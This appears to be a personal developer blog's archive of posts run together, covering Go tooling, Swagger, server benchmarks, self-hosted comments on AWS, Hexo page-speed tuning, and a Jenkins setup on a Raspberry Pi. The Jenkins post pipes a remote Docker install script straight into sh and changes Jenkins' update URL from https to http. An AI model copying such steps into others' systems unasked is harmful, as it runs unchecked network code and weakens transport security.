Had any issues following the guide? Have I gotten anything wrong? Do let me know in the comments below.

The issue with isso

While I really like isso, there’s one problem that kills it for me. Under no load, the backend consumes nearly 50MB of memory on my server. You might say that 50MB is nothing nowadays but I disagree. I’m running everything under AWS t2.nano instances, meaning I only have 500MB of memory to play with. Since I’m running them as docker hosts for my ECS cluster with a few applications on them memory is an expensive commodity. Since I’ve become quite fond of GO, I’ve also looked at commento but at the time of writing it did not have moderation support. I really wanted that. I knew that I could squeeze in the functionality I needed an only use a few MB of RAM. Currently, the commenting service runs with most of the functionality enabled with a stable memory usage of under 7MB. Take this with a grain of salt though, as I do not have many comments or visitors currently.

Side project

Side projects are a darn good way for a developer to hone his skills and improve his CV. I’ve always wanted to have a meaningful side project, where I could experiment but also put my skills to use and hopefully make something that people will end up using. The commenting server sounded like a good idea as it was something I could make in a couple of months at my own pace. It’s also something I’d be using myself, since I was looking for a replacement for isso. It’s also a good opportunity to do some front-end as it has been quite a while since I’ve last touched react or any other front-end framework. I’ve chosen Preact since it’s small and I wanted something that’s not too bulky. I know I could have gone with vanilla JS and saved even more weight but I prefer working with libraries that you’ll encounter more in a work environment. While preact might not be too common, it’s very close to react and that one is rather popular. Mouthful turned out to be a good playground to try many new things.

Getting familiar with open source

I’ve been working mostly with non open source solution at work and since most of my time coding was spent there, I’ve not made myself familiar with the open source culture and the tools that open source offers. Tools such as Travis CI, GoReportCard and Codecov are a new territory. While I’ve been using Github for most of my professional career, I’m still interested to see how work revolves around an open source project, so I’m hoping that mouthful will teach me a lot about that. I’m also keen on learning new tips and tricks and techniques from other open source contributors.

I absolutely despise OpenApi(well, swagger. I’ll call it swagger since it was that for most of my career). It’s supposed to make the process of creating and documenting an API easier. But does it really?… Here’s what I think about it.

Writing the swagger schema is so damn tedious

From my experience when someone mentions swagger, you’ll get dragged into design first - code later mindset rather quickly. While it sounds good on paper the practical implications of writing a swagger schema just make me want to curl in a ball in the corner of the office. The swagger schema is so explicit and such a pain to write. We’ve got what I’d call a rather simplistic API by corporate standards at my work. I invite you to “design” it first. The swagger definition for it is 19808 lines long. I’m not kidding. Just think about it. 20 fucking thousand lines of JSON. Good luck designing that. Now, some of you will say “but wait a moment, why not generate the swagger schema from code”. While that does sound like a great idea on paper I really fail to see the point of it. If I document my code properly I can already generate documentation that is not going to be as tedious or as explicit. If the code is undocumented, swagger does not provide any sort of a benefit there.

Vik, you’re a scrub. It’s 2018 and you should be writing microservices. Then you’ll have no large swagger specs.

Well, how about no. I like my monoliths. I don’t scale apps that do not need scaling. It makes it easier to develop and maintain them. I’m not the only one.

Documentation

One of the main selling points for swagger is the fancy HTML documentation that you can generate from the swagger schema. In my experience, the documentation itself is absolutely and literally unusable. It makes perfect sense if you think about it. Most of the documentation is generated as static html from the swagger schema. Now take one that’s 20k lines long. If you expect it to be quick to load, fast to navigate and make sense of, I’d say you’re wrong. Add in all the “try it out live” web forms into it and you’re looking at a HTML page that your browser will refuse to work with in any way shape or form. All the interesting bits are the HTTP method, the URL and the payload model, anyway. Why have the extra details?

YAML sucks

Why the push for YAML in OpenApi? YAML is absolutely terrible and I’m a firm believer that it’s the case. Anything with whitespaces in it as a part of the spec is not human readable. If you have to differentiate between 3 or 4 spaces, how are you going to do it? I personally can’t. Maybe it’s just me but that’s a good enough reason for me. Tabs would help. Oh wait. JSON is also more compact. I like compactness. I’m a compact person myself(read: short). Also, yaml sucks.

Generating code from swagger spec

So you’ve got a couple of changes in the 10 billion line swagger spec. Time to generate code from it. Here’s what the next pull request will look like:

Good luck sifting through it. I for one, give up. I’ll give a more down to earth example with GO and go swagger lib. Let’s use the todo example yaml as input. I run the swagger server generation and here’s what the tiny pull request looks like:

2.8k lines of code. I know some of it is to blame on GO not having proper generics, but still. I hate it. I hate it so much…

Oh well, back to work. Back to fucking writing another path in that 10 billion line swagger.json.

</rant>

That being said, I’ve no better alternative at the moment.

What’s your stance on swagger? Do you use something else? What? Is there a better way to do this?

The free option

VS code is my main IDE as of late. It does not matter if I code Go or Node, I always prefer to go with VS code. I used to use Atom for it’s extensibility and the amount of packages avaialble. But recently, I’ve felt that the quality of packages and the editor itself is better on VS code. That might be due to the fact that it has the backing of Microsoft. Personal experience shows, that open source products backed by huge companies tend to do better over time. It’s no surprised that VS code has exploded recently and the amount of extensions available now is pretty darn amazing. All you need to do is intall a Go extension and you’re ready to… well… Go. While it’s not as fast as sublime or other light weight editors I find it pretty snappy for small to medium sized projects. Microsoft’s intellisense is pretty damn good. Getting delve also allows for debugging inside it, albeit delve itself seems a bit sluggish and unresponsive. That’s probably a general rant of mine with go - the debuggers seem to be rather poor. Despite this, I really love VS code for the ability to support pretty much any language you can think of.

The expensive option

Goland is an IDE made by Jetbrains. That means it’s probably as good as any other IDE that Jetbrains have ever put out. It also means that it’s a paid product(albeit you can get a free license if you’re a student or have an open source project). Despite it’s price(which is 89$ for an individual/year), it’s definitely worth it. Jetbrains have once again provided a very good IDE. Excellent code completion, with tons of features that I never end up using. A solid choice for enterprise development. One thing to that does bother me - it takes a while to index the project once you open it up for the first time.

The one I wish I could do

The good old vim is the usual suspect when it comes to any language. Add the Vim-go plugin and you have a solid editor. Combined with the legendary vim productivity, it’s the tool to go if you can get past vim’s famous learning curve. I would really like to switch to Vim, but having no prior knowledge it scares me a bit. However, after reading this post I’m now more tempted to switch than ever.

How I actually use them

In day to day life, I actually use both - Goland and VS Code. VS Code is my prefered option, it just feels way snappier and makes me happy to actually work on it. I still end up using Goland at work from time to time, when a session of heavy debugging is on the way. While the debugger I use is still Delve in either case, VS Code just feels lacking. Golang does a better job of providing me with the info I want. These sessions do not happen often though, so I stick with my VS Code most of the time.

What about you? What IDE do you use for GO and why?

Getting jenkins on rpi3

The setup process was rather easy. Just ran this bash script on my raspbian terminal.

# install docker
curl -sSL https://get.docker.com | sh
# install jenkins
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -
sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list'
sudo apt-get update
sudo apt-get install jenkins

Now what I needed to do is get the generated admin password for jenkins. Just run this:

sudo cat /var/lib/jenkins/secrets/initialAdminPassword

I then ran into an issue where jenkins could not connect to the internet. To fix it

sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml`
# (I know I'm a scrub for not using vim)
# change the https://updates.jenkins.io/update-center.json to http://updates.jenkins.io/update-center.json.

Once that is done, I could do everything I’d normally do on jenkins. The intent for my jenkins instance has always been to build docker images and push them to AWS registry, where I could use ECS to run them on one of my isntances. Once I tried doing that, I noticed that there was an issue where jenkins could not reach docker. To fix it, run this on the raspberry sudo usermod -a -G docker jenkins && sudo service jenkins restart. With this, everything works as expected.

Performance

As expected, the raspberry is not a quick beast. Due to the meager cpu and the slow drive(32gb sd card) the raspberry is nowhere near a proper dedicated instance. Just to give you an example a build that runs 22 seconds on my Mac Pro with an i7, takes around 2.5 to 3 minutes to complete on the raspberry. Since I’m in no rush the build times are acceptable. Especially since I don’t build that often and the raspberry is powered 24/7. I’m still rather impressed that it manages to do what it does with the limited resources it has. Here’s a snap of what the top looks like while performing a go build:

It seems to be able to squeeze every single bit out of the tiny machine.

Limitations

Not all is well though. Raspberry runs on ARM. This is a particular pain for the types of work I’m using it for. If I build an image, I have to cross compile the binaries to AMD64. It’s all good an well with GO but if I end up using a more complex Dockerfile all hell breaks loose. It’s either exec errors when running commands while building the image or when running the image on AMD64. Qemu might be the answer here. I tried using it but to no avail. I ended up making the decision to rewrite everything to GO instead, since I like it so much. If you’ve got an idea how to make this work - let me know in the comments below.

The other limitation with this approach is that my jenkins is not reachable from the outside of my local home network. This means no hooks to trigger builds. Back to good old polling. It’s possible to expose it to the internet but since my IP is dynamic, I feel it would be too much work for little benefit.

Either way - I’m pretty damn happy about my new jenkins server. The question remains if the raspberry’s electricity bill is going to be less than 5$ a month though…

EDIT: I’ve since moved away from both the raspberry and the Jenkins towards a beefier machine. You can read about it here.

What do you guys use your raspberries for?

Initial apprehension of programming

After finishing high school, I ended up studying informatics at Vilnius University. The choice was not easy, I was drifting heavily towards economics and physics, as well as considering the more humanitarian part of with focus on business and business management. I basically ended up making a random choice - I ended up in informatics. While I was decent at maths and computers, I would by no means consider myself a competent developer on my uni days. It was really hard and terrifying. Lots of maths on top of maths with only a few lectures focusing on coding. I did like coding but the constant mathematics in day to day uni life was a real killer. By the end of first semester I was highly unmotivated by the lack of coding we were doing. I was a tad lazy, so I did not have any side projects to focus on. At this point in time I started thinking about quitting but peer pressure and my own reluctance to give up came through. I struggled to the sixth semester with little to no will left in studying. I was doing OK at this point. I needed to put little effort into studies themselves to just manage to not get kicked out. I thought I’d finish the degree and definitely not touch anything related to programming. My main concern with programming was that it probably consists of lots and lots of maths that I definitely did not enjoy at that point. I found it boring therefore programming looked boring to me as well. I had no side projects and would describe my skill in programming little more than basic. I should note that by this point I was still living off my parents and had no job. Then one of my classmates who had been working as a developer for a few years offered an opportunity to try and get past an intense course in the company he was working with. I did not know if I was ready for it and certainly felt apprehension for not doing there well either. Nonetheless I gathered my courage and got to the interview. The interview did not go well especially the technical part. I probably answered less than 30% of the questions correctly. One thing I did do and am still proud of is never lied - when confronted with a question I had no clue about I stated that I had no knowledge in the area. Despite my worries, I got accepted.

The course that changed my life

The course was aimed at people with zero to little code knowledge. It was an intense 4 week course. We’d work 8 hours a day(on paper, at least - reality was more like 12), 5 days a week. There were a total of 10 students participating, split into two groups by technology. One group was focusing on JAVA, while the other - .NET. I ended up on the .NET team. The teams consisted of 4 prospect developers and a tester. Each group had dedicated mentors who had multiple years in their respective fields. Both teams were presented with a real world application to work with. Both teams had to work on implementing a website for a mobile fitness app that was already given to us. The app tracked users movement(workouts, such as running and cycling) with gps coordinates and put them to a database. Our goal was to make sense of the data and display maps, graphs and all the other social fitness shenanigans you can find at social fitness applications such as Endomondo or Strava. Each week we’d have to present what we achieved in the sprint for the employees of the company. They’d vote on which team did the best job and the winners would get a prize(a watermelon, for instance). The start was pretty rocky. I struggled with the basic concepts. It took me a few days to get going, but then I got the hang of basics and started enjoying the experience. The team was super hyped - everyone was willing to stay late to try and do more than the other team would accomplish. It is at this point that I actually realized coding could and IS fun. What hooked me is the sense of achievement - when you first see that graph you’ve been working on, or finally figure out how to display the set of gps coordinates you got from a workout as a route. There’s also the teamwork. When everyone is doing their best to achieve a common goal it brings the best in them. After the four weeks ended and the project was done I wanted more of the same. And then… I got hired.

How I started out

I seemed to have done enough to impress the people at the company, after the course they offered me a job at their company. I gladly accepted. I was a bit anxious though… Was the course engineered for fun, or was it what real IT work looks like? Soon, I found out it was both. I started as a web developer, so the first tasks I had to work with consisted of changing texts in the website, to changing an image or two. Then followed by small design changes, such as moving the logo a few pixels to the right or making the fonts smaller, etc. When my team was confident enough that I got the basics, I started working on backend as well. We were working on an e-shop so I had the pleasure of adding another product provider to the shop. At first I was absolutely baffled by how to approach the problem. But after an explanation from my colleagues I managed to do that. I made some small code blocks, integrated them into the larger solution and voilà - we now had more goods for sale than before. That was when I finally understood that coding is something that I can do for a living. I have never looked back and have been developing ever since.

But enough about me - what about you?

The goal here is to try and get you, a recent graduate or a person who has been coding as a hobby for some time to get past their fear and uncertainty whether you are ready to code professionally. If you can do basics, you should be ready for a starter job in programming. What’s the basics you ask? If you can make a simple program, like renaming all the pictures you have stored on your hard drive to something more meaningful than DSC_4242.jpg. It might even be a curiosity project, such as adding all integers that your computer can handle and see what happens. If you have the curiosity to be thinking about that - and have some idea of how to approach the problem, I’d say you’re ready. It might seem intimidating at first but You might never feel fully ready. You might discover the passion you did not think you had.

Coding empowers. Just do it.

Since this post got quite a bit of traction, I decided to update it by rerunning all the benchmarks as well as adding GO’s fasthttp and Node’s express to the comparison.

I came across this blog post on ayende.com. Here Oren Eini tries to see how far he could push a simple ipify style of api on an EC2 by running a synthetic benchmark. He hosts the http server on a T2.nano instance and then uses wrk to benchmark it from a T2.small instance. After reading this, I thought to myself - surely .NET cannot be quicker than GO. I decided to try and make a similar effort and get a little bit of competition going between a .NET implementation with, hopefully, a representative version of Oren’s .NET server made with GO. For GO - I went with 3 candidates gin, fasthttp and iris. I also benchmark Node’s Express. All the tests were performed on the same EC2 instance, with production/release configurations, so variance should be low. I also use the same parameters for wrk as Oren. This is as close as I could get to apples to apples type of comparison.

Kestrel setup

For Kestrel I used the same code that Oren did. I did manage to get to 35000 requests/sec.

The results were as follows:

And here’s a snap of TOP somewhere mid run:

Iris setup

For Iris I went with the code that Gerasimos from the comments below suggested.

Results:

Top:

Gin setup

For Gin, I used the built in ClientIP() which does a few more things than just looking at the X-Forwarded-For header. Here’s the code I ended up with.

Results:

Top:

FastHttp setup

This is the server I went with for fasthttp.

Results:

Top:

Express setup

To be fair, I knew Express would not perform too well here but I added it nonetheless. Here’s the Express code.

Results:

Top:

Conclusion

From this, I drew the following conclusions:

• I’m pleasantly surpised by Kestrels performance(I mostly code Go).
• Kestrel(most likely .NET, not Kestrel itself) is way harder on the memory than GO’s equivalents.
• Nano instance can be quite good at handling not very intensive tasks.
• Fasthttp outperforms kKstrel, but not by a large margin.
• Fasthttp uses only 1/10th of Kestrels memory.
• Gin and Iris are not as fast as Kestrel, which surprised me.
• Express is nowhere close, as expected.

I also ran the tests on my Mac Pro - every server comfortably went into the 100 000 requests/second. Go seemed to do a tiny bit better than .NET on this one though. Express only managed 16000 requests/s.

Take note that I’m not an expert in benchmarking by any means. Let me know if I made any mistakes in the comments below!

A couple of examples

My favorite use of defer statements is in coalition with sync.WaitGroup. Wait group allows you to start multiple goroutines and wait until they are finished. I use defer wg.Done() as a defer statement to let the wait group know that the routine has done its job.

func main() {
	defer fmt.Println("All routines are done!")
	var wg sync.WaitGroup
	wg.Add(3)

	for i := 0; i < 3; i++ {
		go func(j int) {
			defer wg.Done()
			fmt.Println(j)	
		}(i)
	}
	wg.Wait()
}

Another use case is cleaning up resources, such as making sure to close readers. Here’s an example:

res, err := client.Do(req)
if err != nil {
 // error handling goes here...
}
defer res.Body.Close()
// do something with body

Function execution timer with defer

Ocassionally I’ll want to log the execution times of different functions. This can be done through a simple timer package.

type Timer struct {
	start time.Time
	defaultValue string
}

func New() *Timer {
	return &Timer{
		start: time.Now()
    }
}

func (t *Timer) End() {
	fmt.Printf("Execution took %v", time.Since(t.start))
}

If you put it into a timer package, you can then use it on any function like this:

func main() {
    defer timer.New().Done()
}

For extra flavor, we can improve the log message to include the caller name of the function we are profiling. All we need to do is write a function like this:

func (t *Timer) GetCallerName() (name *string) {
	uintpt := make([]uintptr, 1)
	n := runtime.Callers(3, uintpt)
	if n == 0 {
		return
	}
	fun := runtime.FuncForPC(uintpt[0]-1)
	if fun == nil {
		return
	}
	nameTemp := fun.Name()
	name = &nameTemp
	return
}

And change the End() function like so:

func (t *Timer) End() {
	callerName := t.GetCallerName()
	if callerName == nil {
		callerName = &t.defaultValue
	}
	fmt.Printf("Execution of %v took %v", *callerName, time.Since(t.start))
}

Here’s a full gist of the code I ended up with.

Defer performance hit

As mentioned before, there’s a performance hit for using defer but as the benchmarks I linked to before are rather old, I made one myself. I’m not an expert on benchmarking, so please let me know if anything’s not right. Here’s the result:

There’s a hit, but I would not worry if you’re using defer in a reasonable manner and the performance difference of a few nanoseconds does not impact you that much. I really do prefer Go’s approach to the more standard finally block.

What about you? How do you use defer? Let me know in the comments below!

• It’s too heavy(at around 200KB)
• It contains ads

The weight itself would kill my quest for page speed instantly.So I set up to find a way to provide commenting ability on the blog. I knew this would probably lead me to a self-hosted solution but that did not scare me. Requirements were quite simple:

• It must be cheap(or be hostable under EC2 nano - 512MB RAM for the whole instance)
• It must be easily customizable

Isso

After a bit of research, I found Isso. After looking at it a bit, I gave it a shot. The running service consumes just under 35MB of RAM(idle). This means even if it doubles its memory consumption under load, the EC2 nano instance should be able to handle this service. Isso also states, that the required JS only comes at “40kb (12kb gzipped)”. This is way better than Disqus. I have some python experience so editing it to suite my needs should not be too hard. I end up sticking with Isso.

The architecture

I start setting it up and hit a few roadblocks on the way, but I’ll explain those in a bit. Here’s what the final architecture looks like on AWS:

As I mentioned before everyting runs under EC2 nano. Supervisord runs inside the EC2 instance and ensures that the nginx and Isso are continuously running. If the instance restarts, Supervisord assures that both of them are also started. Nginx is mostly there if I ever decide to use the same instance for some other service and not just comments. For now it only exposes isso and adds a no cache header to the response as I’m using CloudFront. Talking about which, the cloud front distribution is needed because I really wanted my service to be accessible with https. The easy way to do that in AWS is to get a certificate from AWS certificate manager. These can only be applied to AWS resources, so you can’t add it to your instance directly. You could add an application load balancer in front of your EC2 instance but these are costly and will set you back at least 20$ a month. When you consider that the whole instance will set you back 5$ a month the load balancer does not seem worth it. The way to make the ssl cheaper is use a CloudFront distribution. You point it to your EC2 instance and point your Route 53 records to the CloudFront distribution. Now you can communicate with Isso through a secure channel.

Lowering costs

To lower the costs for your EC2 instance to just under 4$(or even cheaper if you commit for a longer period) you can take a reserved instance. Combined with the Route 53(which you are gonna pay for a domain anyway) and CloudFront costs the totals for the comments per month is less than 4.5$/month for me at the moment.

Configuration files

Below you’ll find the all the configuration files I’ve used:

• isso.cfg
• supervisord.conf
• nginx.conf

What do you guys think? Is Isso a good choice for self-hosted comments? Do you even self-host your comments? Let me know in the comments below!

I’ve been using Go as my main programming language at work for the last 6 months. Here’s why I absolutely adore the language.

It’s simple

Go is remarkably simple. It’s an object oriented programming language but instead of the more typical classes you find in C# or Java it only has structs. Structs cannot inherit, meaning you can’t end up in inheritance hell. I won’t go into detail why inheritance is bad, but if you want an explanation Inheritance is Inherently Evil is a good read on that. All you want to achieve with inheritance can instead be done through composition and the use of interfaces. It also gets rid of generics. This means that the code you read will be clear and simple. It might be more verbose than many other languages but you also carry more control.

It has a great standard library

The standard library is pretty damn good. Rarely do I ever need to step out of it. The usual suspects here are the ORM and testing/mocking frameworks. I will add that testing and logging are pretty sub-par compared to other standard lib packages, as Or Hiltch states in his article but hopefully will be improved on sometime in the future. If these are improved, I will only need to use external libraries for exotic projects.

It’s fast

Go is a compiled language. It’s not as fast as C or C++ but in many cases it’s faster than Java. I’d expect it to become even quicker once it becomes more mature. For a comparison versus other languages, you can take a look here. I know that benchmarksgame is not an authority in any regard but it’s probably as close as we can get to a reliable benchmark at the moment. With the Go’s excellent performance and easy to understand syntax it’s a pleasure to develop applications that are rather quick.

It has a great concurrency model

Making code concurrent can be pretty daunting in many languages. Even if it’s not too hard to achieve it will come with the caviat of using a lot of memory per thread. Go was designed for this, meaning that goroutines are both inexpensive and easy to add to your code. Golangbot has a nice short tutorial on goroutines if you’re curious to see how they work. The built in concurrency capability of go makes for an excellent experience when writing concurrent code. It does take some time to get used to but once you get the hang of it - it starts happening naturally in the code you end up writing.

It’s backed by Google

Many open source projects fail a few years after their initial launch. Having a serious backer like google behind Go makes me certain that the language is here to stay. What is more the process for making software is demanding both in time and money. Even more so for large caliber projects such as a programming language.

It’s growing in popularity

Opensource.com has an excellent article on why Go is growing in popularity. What this means is that as time passes more and more companies are going to look to hire Go developers. Having a head start here will make me a potentially better candidate than those who will not have the prior experience.

It’s easy to cross-compile

The ability to cross compile allows to build the binaries on any machine for any target, allowing for easy deployments and no headaches related to OS or architectures.

It has a great mascot

I mean… just look at it.

Makes my day every time I see it.

Why do you like/dislike Go? Let me know in the comments below.

As mentioned in my previous post, I really wanted to optimize my hexo blog for speed. I’ve started a new project and decided hexo would be a good fit for it. Since I’ve grown used to hexo, it will make development faster. Albeit it’s not a blog I’m working on, but a webpage for a local blacksmith. That will involve quite a few images and just a few text entries/pages. Being able to deploy to S3 is also a benefit - no need to manage anything - and since the webpage is going to be pretty static I’m thinking hexo is a good way to go. The problem though, is that most of the themes that hexo has are quite slow out of the box. For this walkthrough, I’ll be doing a demo repo with a standard hexo init followed by a clone of the theme edinburgh. I have a repo setup with all the steps tagged, so you should be able to see the exact changes I’m making. I’ll include step links just after the heading for each section if you’re interested in following along. Let’s get going then.

Prologue

Current step repo

I’ve created a new hexo project, did a couple minor template adjustments and hexo config changes and added 3 test posts to the blog. With that, I should be golden to test the blog out with PageSpeed Insights. Here’s the sad reality:

The desktop version refused to even be analyzed.

Take note that all the page speed analysis was done on the index page, the individual pages are not being analyzed here.

To be completely honest, it is the first time I’ve seen such bad results in PageSpeed Insights and for a good reason. The posts I’ve added contain images that are huge: 3000x2000, 5100x3088, 6000x4000 and 4476x2984 pixels. At the largest, the image I’ll ever serve is shown inside the blog post and if I open that I can see that at a resolution of 1920 x 1080 the images will top out width-wise at 1854 pixels. That is the reasonable maximum I’d go with. Any pixel above that is a wasted pixel. I know that this page won’t need the images to be as big as they are now or even reach the 1854px mark. I’ll usually be displaying images way smaller than that. Besides, the images are not optimized in any way shape of form, let’s fix it.

Image optimization

Current step repo

Now this took me on a bit of an adventure. I do some digging through hexo plugins but find nothing that would suit my needs(if you know of one, please let me know). Time to code a plugin for hexo I suppose. Now, I’m no expert in image manipulations so I do some research on how to do it and come across imagemagick. I dig through the internet and find this article on image manipulation via imagemagick. I’ll go with this, for now. Since I’ve never coded a hexo plugin and haven’t coded proper node for at least half a year I look through the source code of some of the libraries I mentioned before. It seems that hexo is easily extendable so I decide on making a plugin that will go through the public directory after hexo generates the files, pick out all the .png/.jpg/.jpeg files and apply imagemagick’s convert function on top of that with given params which you’d specify in the _config.yml. I was rather new to all this, so it probably took longer than expected but I made a plugin and named it rather stupidly hexo-img-optimization(I already regret that but naming is hard). It adds a command to hexo, hexo img, that will read your _config.yml, look for img_optimization there and act according to its settings. If not found, it will default to going through png/jpg/jpeg files and resize them to what I consider a good amount of pixels for a landscape image in a 1080p screen while lowering the quality a bit. The drop in quality is barely noticeable. You can play around with the imagemagick params to figure out a configuration that would work on your hexo blog. If, however, you’re not using hexo there are plenty of alternatives that can optimize your images for you, such as compressor.io or kraken.io. For my purposes, overriding the defaults for hexo-img-optimization with -resize 900x800^> -sampling-factor 4:2:0 -strip -quality 85 -interlace JPEG -colorspace RGB seems to do the trick and cross all of my boxes. With this, the PageSpeed Insights score looks as follows:

That’s a much better score.

Minification

Current step repo

Time to search for plugins again. I find this hexo-all-minifier. It seems to tick all the checkboxes. Minifies css/html/js and even images(albeit it only optimizes them, without resizing). Nice. The minifier runs once we run hexo generate. I regenerate the files and deploy them to s3. Once done I rerun the page speed insights. What this does is actually remove the Minify CSS, Minify HTML and Minify JavaScript optimizations from the possible list in page speed insights but the page score does not improve:

That’s due to the fact that most of our css and js is external, hence the files we minified only comprise a small part of our total payload on page load. For themes that are more heavy on their own css and js the change will be noticeable.

Compression

Current step repo

Time to tick the compression checkmark. hexo-command-gzip is a plugin that gzips everything in the public folder, which is what I’m going for. The problem here is that I’ve hosted this page on AWS S3. When I upload the gzipped files to AWS S3 and open the page - my browser does not know that the contents are gzipped. To fix it, I need to attach a gzip header to all the files I upload to s3. hexo-deployer-s3 provides functionality to add headers to uploaded files. I do not like it though, since it applies the same header to all the filetypes. I have since forked the repo and made the changes to allow for different headers for different filetypes. It already comes with the repo I’ve added in this walkthrough, but here’s a link if you need it. We’ll not use the different filetype functionality for now, but it will come in handy later. After adding the required config part(it’s here) I deploy and test again:

Once again, due to small number of internal css and js the change is barely noticeable.

Thumbnails

Current step repo

The page is heavy on the image side, therefore most of the gains will be made here. Since we’re displaying quite a few different image sizes depending on the page you’re on or the device screen size, it’s best to generate thumbnails and use them. I have since added support for thumbnails to hexo-img-optimization. This will require few changes to the template and a config change, but with those in place I expect the page speed to be much much better. After deploying, these are the results:

Now that’s a score I could live with. But I won’t. The issues left are caching, and render-blocking css.

Render blocking css

Current step repo

This is where it gets subjective. The render blocking css means that while loading the page, the browser encounters a css include that it needs to download before downloading the rest of the document. It causes a temporary halt for the loading process. There are ways to fix it, but they have their drawbacks. If you load a page first and only load css after that is complete, the user will experience a brief moment where the website will “jump” to apply the css. It might not look nice. Another way of doing things, is loading the css asynchronously and applying it as soon as it has downloaded. We’ll take this approach. The user might still experience the jump, but it should not be a as bad as the first case, since the page might only be half loaded by the time we get our css to load. To load css asynchronously it’s enough to change the css from

<link rel="stylesheet" href="https://dizzy.zone/css/styles.css">

to

<link rel="stylesheet" href="https://dizzy.zone/css/styles.css" as="style" onload="this.onload=null,this.rel=&quot;stylesheet&quot;">

This will load the css asynchronously and apply it once done downloading. I’ve applied it to all the external css that I had in <head> for the theme. Do note that you might not want to apply this to all of your css, since it might result in a bad experience for a user. In general, you would probably inline critical parts of your css and asynchronously load the rest of it. With these applied, the scores are now:

Caching

Current step repo

With S3, to enable browser caching of resources I need to add headers to each file I’m uploading. I’ve done the same for gzip, so this is pretty easy to do. There’s a catch though. Usually you’ll want to apply different caching strategies to different files, and the fork I’ve made from hexo-deployer-s3 allows for header application by file type. Here’s the config I use: